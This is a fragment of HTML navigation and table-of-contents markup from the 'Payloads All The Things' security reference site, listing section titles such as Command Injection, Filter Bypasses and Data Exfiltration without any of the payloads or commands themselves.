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|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href=".." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CONTRIBUTING/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CONTRIBUTING
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../DISCLAIMER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DISCLAIMER
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
API Key Leaks
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../API%20Key%20Leaks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key and Token Leaks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IIS Machine Keys
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Account Takeover
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Account%20Takeover/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Account%20Takeover/mfa-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MFA Bypasses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Business Logic Errors
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CORS Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CRLF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CRLF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CRLF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Carriage Return Line Feed
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSV Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CSV%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Exploits
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Exploits
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common Vulnerabilities and Exposures
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE-2021-44228 Log4Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_11">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Clickjacking
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Clickjacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Client Side Path Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_12">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Client Side Path Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Client Side Path Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_13">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#methodology" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Methodology
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Methodology">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#basic-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Basic Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#chaining-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Chaining Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#argument-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#inside-a-command" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Inside A Command
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#filter-bypasses" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Filter Bypasses
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Filter Bypasses">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-without-space" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Without Space
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-a-line-return" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With A Line Return
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backslash-newline" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backslash Newline
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-tilde-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Tilde Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-brace-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Brace Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-characters-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Characters Filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-characters-filter-via-hex-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass Characters Filter Via Hex Encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-single-quote" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Single Quote
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-double-quote" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Double Quote
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backticks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backticks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-backslash-and-slash" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Backslash and Slash
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With $@
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with_1" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With $()
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-variable-expansion" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Variable Expansion
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-wildcards" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass With Wildcards
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Data Exfiltration">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#time-based-data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Time Based Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#dns-based-data-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Dns Based Data Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#polyglot-command-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Polyglot Command Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tricks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tricks
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Tricks">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#backgrounding-long-running-commands" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Backgrounding Long Running Commands
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#remove-arguments-after-the-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Remove Arguments After The Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Labs">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#challenge" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Challenge
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_14">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cross Site Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross-Site Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_15">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DNS Rebinding
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DOM Clobbering
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_16">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DOM Clobbering
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../DOM%20Clobbering/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DOM Clobbering
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Denial of Service
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_17">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Denial of Service
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Denial%20of%20Service/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Denial of Service
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_18">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dependency Confusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_19">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Directory Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Directory%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
